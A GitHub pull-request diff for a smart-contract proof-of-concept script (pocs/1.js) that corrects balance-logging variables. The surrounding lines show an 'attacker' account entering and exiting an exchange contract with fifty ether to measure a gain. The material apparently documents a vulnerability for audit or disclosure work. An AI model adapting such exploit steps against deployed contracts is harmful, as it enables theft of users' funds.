Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
4 changes: 2 additions & 2 deletions pocs/1.js
Original file line number Diff line number Diff line change
Expand Up @@ -55,14 +55,14 @@ async function main() {
"token balance of {attacker} :",
await ethers.utils.formatEther(await stoken.balanceOf(attacker.address))
);
console.log("Before: ETH Balance {attacker} :", await ethers.utils.formatEther(userBeforeBal));
console.log("Before: ETH Balance {attacker} :", await ethers.utils.formatEther(attackerBeforeBal));

await exchange.connect(attacker).enter(FIFTY_ETHER);
await expect(await exchange.balanceOf(attacker.address)).to.equal(FIFTY_ETHER);
await exchange.connect(attacker).exit(FIFTY_ETHER);

let attackerAfterBal = await ethers.provider.getBalance(attacker.address);
console.log("After: ETH Balance {attacker} :", await ethers.utils.formatEther(userAfterBal));
console.log("After: ETH Balance {attacker} :", await ethers.utils.formatEther(attackerAfterBal));
}

main()
Expand Down